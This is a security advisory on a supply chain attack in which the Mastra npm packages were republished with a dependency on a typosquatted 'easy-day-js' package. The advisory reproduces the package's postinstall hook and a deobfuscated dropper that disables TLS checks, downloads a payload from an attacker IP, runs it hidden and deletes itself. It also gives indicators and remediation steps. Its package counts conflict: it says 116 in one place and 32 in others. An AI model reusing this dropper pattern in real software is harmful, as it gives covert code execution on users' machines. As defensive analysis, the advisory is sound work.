# Mastra compromised in supply chain attack

> Source: <https://www.endorlabs.com/learn/mastra-npm-org-compromised-multiple-packages-trojanized-to-drop-a-remote-payload-via-easy-day-js>
> Published: 2026-06-17 03:24:25+00:00

## TL;DR

An attacker took over the account of a Mastra maintainer and used it to tamper with the project at scale. Over a 27-minute window, they republished the entire @mastra catalog. They left Mastra's own code alone. In each package they changed a single line, adding a hidden link to a counterfeit component named `easy-day-js`

, a lookalike of a widely used tool called `dayjs`

.

Mastra is an open-source toolkit that software developers use to build AI applications and agents. It comes from the team behind Gatsby and is widely adopted: the project's components are downloaded more than 28 million times a month by teams building on top of it. Like most modern software, Mastra is shipped as a set of small, reusable building blocks that other programs pull in automatically. That reach is what made one stolen account so dangerous.

`easy-day-js`

is a typosquat. It impersonates dayjs down to the description and the bundled dayjs.min.js, but adds a postinstall hook that runs a dropper. On install, the dropper disables TLS certificate validation, fetches a second-stage payload from a raw IP address, writes it to the temp directory, runs it as a detached and hidden child process, and deletes itself.

Three things stand out about this incident:

**The whole org went at once.** This was not one package. It was a scripted sweep of 116 packages in under half an hour, ordered roughly by download count, which points to a hijacked account with publish rights across the entire scope rather than a single rogue release.**The carrier packages are clean; the payload is one level down.** Every Mastra package is an unmodified library with a single poisoned dependency line. Scanners that only inspect the named package's own code will not see anything wrong. The malicious behavior lives in easy-day-js, and in most of the packages that dependency is never even imported.**A pre-staged decoy dependency.** easy-day-js@1.11.21 was published a day earlier with no install hook, a clean decoy. The weaponized 1.11.22 landed at 01:01 UTC, eleven minutes before the Mastra sweep began.

## Affected packages

All versions below are malicious and were published 2026-06-17. Pin to the last provenance-backed release of each and treat these specific versions as compromised.

| Package |
Malicious version |
Published (UTC) |
Downloads/month |
| @mastra/schema-compat |
1.2.12 |
1:12 |
5,279,923 |
| @mastra/core |
1.42.1 |
1:15 |
4,013,267 |
| mastra |
1.13.1 |
1:20 |
2,139,510 |
| @mastra/memory |
1.20.4 |
1:16 |
2,057,689 |
| @mastra/server |
2.1.1 |
1:17 |
1,864,647 |
| @mastra/deployer |
1.42.1 |
1:19 |
1,858,620 |
| @mastra/observability |
1.14.2 |
1:18 |
1,695,048 |
| @mastra/loggers |
1.1.3 |
1:18 |
1,672,903 |
| @mastra/pg |
1.13.1 |
1:25 |
1,361,195 |
| @mastra/mcp |
1.10.1 |
1:25 |
1,203,924 |
| @mastra/ai-sdk |
1.4.6 |
1:27 |
1,069,650 |
| @mastra/libsql |
1.13.1 |
1:26 |
977,312 |
| @mastra/langfuse |
1.3.6 |
1:29 |
617,580 |
| @mastra/evals |
1.3.1 |
1:29 |
476,879 |
| @mastra/rag |
2.2.2 |
1:30 |
307,033 |
| @mastra/datadog |
1.2.5 |
1:30 |
253,586 |
| @mastra/duckdb |
1.4.3 |
1:32 |
222,862 |
| @mastra/braintrust |
1.1.4 |
1:33 |
187,050 |
| @mastra/dynamodb |
1.0.9 |
1:31 |
160,266 |
| @mastra/hono |
1.4.26 |
1:32 |
152,792 |
| @mastra/otel-bridge |
1.2.3 |
1:33 |
132,788 |
| @mastra/editor |
0.11.3 |
1:34 |
128,885 |
| @mastra/langsmith |
1.2.4 |
1:34 |
120,459 |
| @mastra/mcp-docs-server |
1.1.47 |
1:37 |
97,609 |
| @mastra/mongodb |
1.9.3 |
1:35 |
92,100 |
| @mastra/posthog |
1.0.29 |
1:36 |
90,917 |
| @mastra/fastembed |
1.1.3 |
1:39 |
77,220 |
| @mastra/s3 |
0.5.3 |
1:38 |
64,299 |
| @mastra/sentry |
1.1.4 |
1:35 |
63,793 |
| @mastra/fastify |
1.3.31 |
1:39 |
61,020 |
| @mastra/auth |
1.0.3 |
1:38 |
59,979 |
| @mastra/inngest |
1.5.2 |
1:39 |
51,427 |
| @mastra/acp |
0.2.2 |
1:55 |
not separately reported |
| @mastra/agent-browser |
0.3.2 |
1:42 |
not separately reported |
| @mastra/agent-builder |
1.0.42 |
1:59 |
not separately reported |
| @mastra/agentcore |
0.2.2 |
2:23 |
not separately reported |
| @mastra/agentfs |
0.1.1 |
2:17 |
not separately reported |
| @mastra/arize |
1.2.3 |
1:44 |
not separately reported |
| @mastra/arthur |
0.3.3 |
2:22 |
not separately reported |
| @mastra/astra |
1.0.2 |
2:06 |
not separately reported |
| @mastra/auth-auth0 |
1.0.2 |
1:54 |
not separately reported |
| @mastra/auth-better-auth |
1.0.4 |
1:45 |
not separately reported |
| @mastra/auth-clerk |
1.0.3 |
1:46 |
not separately reported |
| @mastra/auth-cloud |
1.1.4 |
2:08 |
not separately reported |
| @mastra/auth-firebase |
1.0.1 |
2:20 |
not separately reported |
| @mastra/auth-okta |
0.0.5 |
2:18 |
not separately reported |
| @mastra/auth-studio |
1.2.4 |
2:16 |
not separately reported |
| @mastra/auth-supabase |
1.0.2 |
1:47 |
not separately reported |
| @mastra/auth-workos |
1.5.3 |
1:55 |
not separately reported |
| @mastra/azure |
0.2.3 |
2:18 |
not separately reported |
| @mastra/blaxel |
0.4.2 |
1:57 |
not separately reported |
| @mastra/brightdata |
0.2.2 |
2:19 |
not separately reported |
| @mastra/browser-viewer |
0.1.3 |
2:15 |
not separately reported |
| @mastra/chroma |
1.0.2 |
1:45 |
not separately reported |
| @mastra/claude |
1.0.3 |
2:02 |
not separately reported |
| @mastra/clickhouse |
1.10.1 |
1:37 |
not separately reported |
| @mastra/client-js |
1.24.1 |
1:26 |
not separately reported |
| @mastra/cloudflare |
1.4.2 |
1:55 |
not separately reported |
| @mastra/cloudflare-d1 |
1.0.7 |
1:50 |
not separately reported |
| @mastra/codemod |
1.0.4 |
2:23 |
not separately reported |
| @mastra/convex |
1.2.2 |
1:46 |
not separately reported |
| @mastra/couchbase |
1.0.4 |
1:58 |
not separately reported |
| @mastra/cursor |
0.2.1 |
2:04 |
not separately reported |
| @mastra/daytona |
0.4.2 |
1:41 |
not separately reported |
| @mastra/deployer-cloud |
1.42.1 |
2:05 |
not separately reported |
| @mastra/deployer-cloudflare |
1.1.44 |
1:47 |
not separately reported |
| @mastra/deployer-netlify |
1.1.20 |
2:02 |
not separately reported |
| @mastra/deployer-vercel |
1.1.38 |
1:41 |
not separately reported |
| @mastra/docker |
0.3.1 |
1:53 |
not separately reported |
| @mastra/dsql |
1.0.3 |
1:57 |
not separately reported |
| @mastra/e2b |
0.3.4 |
1:44 |
not separately reported |
| @mastra/elasticsearch |
1.2.1 |
2:20 |
not separately reported |
| @mastra/express |
1.3.31 |
1:31 |
not separately reported |
| @mastra/files-sdk |
0.2.1 |
2:06 |
not separately reported |
| @mastra/gcs |
0.2.3 |
1:48 |
not separately reported |
| @mastra/github-signals |
0.1.2 |
2:07 |
not separately reported |
| @mastra/google-cloud-pubsub |
1.0.6 |
2:03 |
not separately reported |
| @mastra/google-drive |
0.1.1 |
2:21 |
not separately reported |
| @mastra/koa |
1.5.14 |
2:00 |
not separately reported |
| @mastra/laminar |
1.2.3 |
2:09 |
not separately reported |
| @mastra/lance |
1.0.7 |
2:04 |
not separately reported |
| @mastra/longmemeval |
1.0.50 |
1:54 |
not separately reported |
| @mastra/mcp-registry-registry |
1.0.2 |
2:00 |
not separately reported |
| @mastra/mssql |
1.3.2 |
1:56 |
not separately reported |
| @mastra/mysql |
0.1.1 |
2:21 |
not separately reported |
| @mastra/nestjs |
0.1.15 |
1:51 |
not separately reported |
| @mastra/openai |
1.0.2 |
2:05 |
not separately reported |
| @mastra/opencode |
0.0.47 |
2:17 |
not separately reported |
| @mastra/opensearch |
1.0.3 |
2:04 |
not separately reported |
| @mastra/otel-exporter |
1.2.3 |
1:28 |
not separately reported |
| @mastra/perplexity |
0.1.1 |
2:24 |
not separately reported |
| @mastra/pinecone |
1.0.2 |
1:52 |
not separately reported |
| @mastra/playground-ui |
33.0.1 |
1:49 |
not separately reported |
| @mastra/qdrant |
1.0.3 |
1:46 |
not separately reported |
| @mastra/react |
1.0.1 |
1:42 |
not separately reported |
| @mastra/redis |
1.1.3 |
1:48 |
not separately reported |
| @mastra/redis-streams |
0.0.4 |
2:03 |
not separately reported |
| @mastra/s3vectors |
1.0.7 |
1:50 |
not separately reported |
| @mastra/slack |
1.3.1 |
2:19 |
not separately reported |
| @mastra/spanner |
1.1.2 |
2:22 |
not separately reported |
| @mastra/stagehand |
0.2.5 |
1:40 |
not separately reported |
| @mastra/tavily |
1.0.3 |
1:45 |
not separately reported |
| @mastra/temporal |
0.1.14 |
1:53 |
not separately reported |
| @mastra/turbopuffer |
1.0.3 |
1:52 |
not separately reported |
| @mastra/twilio |
1.0.2 |
2:16 |
not separately reported |
| @mastra/upstash |
1.1.3 |
1:43 |
not separately reported |
| @mastra/vectorize |
1.0.3 |
1:58 |
not separately reported |
| @mastra/voice-aws-nova-sonic |
0.1.4 |
2:01 |
not separately reported |
| @mastra/voice-azure |
0.11.2 |
2:23 |
not separately reported |
| @mastra/voice-deepgram |
0.12.2 |
1:53 |
not separately reported |
| @mastra/voice-elevenlabs |
0.12.2 |
1:51 |
not separately reported |
| @mastra/voice-google |
0.12.3 |
1:51 |
not separately reported |
| @mastra/voice-google-gemini-live |
0.12.2 |
1:43 |
not separately reported |
| @mastra/voice-openai |
0.12.3 |
1:42 |
not separately reported |
| @mastra/voice-openai-realtime |
0.12.6 |
1:40 |
not separately reported |
| create-mastra |
1.13.1 |
1:56 |
not separately reported |

The dropper dependency:

| Package |
Version |
Role |
| easy-day-js |
1.11.21 |
Clean decoy, no install hook, published 2026-06-16 |
| easy-day-js |
1.11.22 |
Weaponized, postinstall dropper, published 2026-06-17 01:01 UTC |

## Timeline

| Time (UTC) |
Event |
| 2026-06-16 07:05 |
easy-day-js@1.11.21 published, a clean decoy with no install hook |
| 2026-06-17 01:01 |
easy-day-js@1.11.22 published, carrying the postinstall dropper |
| 2026-06-17 01:12 |
First Mastra package republished (@mastra/schema-compat) |
| 2026-06-17 01:12 to 01:39 |
32 Mastra packages republished by ehindero, no provenance |

## Technical analysis

### The carrier pattern

We pulled and inspected the published tarballs without installing them. Every affected Mastra package shows the same single change: a new line in `package.json`

declaring "`easy-day-js": "^1.11.21`

". In the packages we examined, the dependency is not imported or referenced anywhere in the package source. It does no work for the library. Its only function is to be resolved and installed, which is enough to fire the dropper's `postinstall`

hook.

This is why the Mastra packages themselves are not malicious in the usual sense. They are carriers. The malware is one dependency level down, and the lockfile constraint `^1.11.21`

resolves to the weaponized `1.11.22`

.

Every release also dropped the SLSA provenance attestation that the project's GitHub Actions pipeline normally produces, and several tripped a metadata masquerade check because the declared `mastra-ai/mastra`

repository does not vouch for the published artifact. Both are consistent with a manual publish from outside the project's CI, using credentials with org-wide publish rights.

### easy-day-js: the disguise

`easy-day-js`

is built to pass a glance. It copies the `dayjs`

description ("2KB immutable date time library alternative to Moment.js"), ships the real `dayjs.min.js`

as its main entry, and includes the full `dayjs `

locale and plugin tree. We confirmed the bundled `dayjs.min.js`

is byte-identical between the decoy `1.11.21 `

and the weaponized `1.11.22.`

The only meaningful difference between the two versions is a single added file, `setup.cjs`

, and a single added line in `package.json`

:

```
"scripts": {

  "postinstall": "node setup.cjs --no-warnings"

}
```

### The dropper

`setup.cjs`

is a 4.5 KB obfuscator.io-style script: a rotated string array behind a base64 decoder. We deobfuscated it statically in a sandbox, cracking the array rotation and resolving the string references. The operational literals are embedded directly in the install-time routine and are unambiguous. Reconstructed, it does the following:

```
// 1. Disable TLS certificate validation for the whole process

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {

  try {

    const c2 = 'https://23.254.164.92:8000/update/49890878';

    // 2. Drop marker files in the home/temp dir

    fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');

    fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);

    // 3. Fetch the second-stage payload over the now-unverified TLS connection

    const payload = await (await fetch(c2, { method: 'GET' })).text();

    // 4. Write it to a random filename in the working dir

    const name = crypto.randomBytes(12).toString('hex') + '.js';

    const dest = path.join(os.homedir(), name);

    fs.writeFileSync(dest, payload, 'utf-8');

    // 5. Run it as a detached, hidden child process that outlives the install

    child_process.spawn(process.execPath, [dest, token], {

      cwd: os.homedir(),

      detached: true,

      stdio: 'ignore',

      windowsHide: true

    }).unref();

  } catch {}

  finally {

    // 6. Delete this dropper to remove evidence

    fs.rmSync(__filename, { force: true });

  }

})();
```

The sequence is deliberate. Disabling `NODE_TLS_REJECT_UNAUTHORIZED`

lets the dropper talk to a bare IP on port 8000 with no valid certificate. The payload is never written to disk in the package itself, only fetched at install time, so the published artifact stays small and clean-looking. `detached: true`

plus .`unref()`

means the spawned process keeps running after `npm install returns,`

and `windowsHide`

: true keeps it off-screen on Windows. The finally block removes` setup.cjs`

so a post-install inspection of `node_modules`

finds nothing.

### Indicators worth noting

The deobfuscated strings surfaced a second endpoint on the same host range, `23.254.164.123:443, `

alongside the primary `23.254.164.92:8000.`

Both should be blocked. The dropper also leaves two marker files, .`pkg_history`

(containing the install path) and `.pkg_logs`

, which are useful for hunting. As of time of analysis, the initial `/update/49890878`

payload was no longer reachable and returned a not found from the webserver.

## Indicators of compromise

### Package indicators

All 32 Mastra versions in the table above, plus:

| Indicator |
Notes |
| easy-day-js@1.11.22 |
Weaponized dropper |
| easy-day-js@1.11.21 |
Clean decoy, still attacker-controlled, should be blocked |
| Publisher ehindero / ehindero2016@tutamail.com |
Account used for every malicious publish |
| Any @mastra/* or mastra version published 2026-06-17 without SLSA provenance |
Manual publish outside CI |

### Network indicators

| Indicator |
Notes |
| https://23.254.164.92:8000/update/49890878 |
Second-stage payload URL |
| 23.254.164.123:443 |
Secondary endpoint on the same /24 |

### File and behavioral indicators

| Indicator |
Notes |
| ~/.pkg_history |
Marker file containing the install path |
| ~/.pkg_logs |
Marker file dropped by the hook |
| Random <24-hex>.js file in the home dir |
The fetched second stage |
| node setup.cjs running during npm install |
The dropper |
| NODE_TLS_REJECT_UNAUTHORIZED=0 set by an install script |
TLS validation disabled |
| Detached node child process spawned during install |
The running payload |

### Code markers

| Marker |
Notes |
| "postinstall": "node setup.cjs --no-warnings" |
In easy-day-js@1.11.22 |
| process.env.NODE_TLS_REJECT_UNAUTHORIZED='0' |
In setup.cjs |
| Buffer.from(... ); ... spawn(process.execPath, ...).unref() |
Detached payload launch |
| fs.rmSync(__filename, { force: true }) |
Self-delete in the finally block |

## Remediation

### Check your exposure

```
# Is any affected package or the dropper in your tree?

npm ls easy-day-js

grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

# Look for the dropped artifacts on hosts and CI runners

ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null

find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null
```

Pin every Mastra dependency to the last version published via GitHub Actions with provenance, and add easy-day-js to your registry blocklist.

### If you installed an affected version

Treat the host as compromised. The dropper disabled TLS validation in-process and launched a detached child whose contents were fetched at runtime, so the install hook is not the whole story.

- Rotate every credential reachable from the affected host or CI runner: cloud keys, registry tokens, CI secrets, and anything in environment variables the build could read.
- Hunt for and kill any detached
`node`

process spawned around install time, and remove the random `.js`

file from the home directory. - Block outbound traffic to
`23.254.164.92`

and `23.254.164.123 `

and review egress logs for connections to either since 01:12 UTC on 2026-06-17.

### Longer term

**Disable install scripts by default.** `npm install --ignore-scripts`

blocks postinstall and neutralizes this entire class of `dependency-trojan.`

**Enforce provenance.** Requiring SLSA provenance on first-party dependencies would have flagged every one of these releases, since all 32 dropped it.**Pin with integrity hashes and review dependency additions.** A new, unused dependency added to a mature package is a strong signal. Here, a single added line in `package.json`

was the entire compromise.
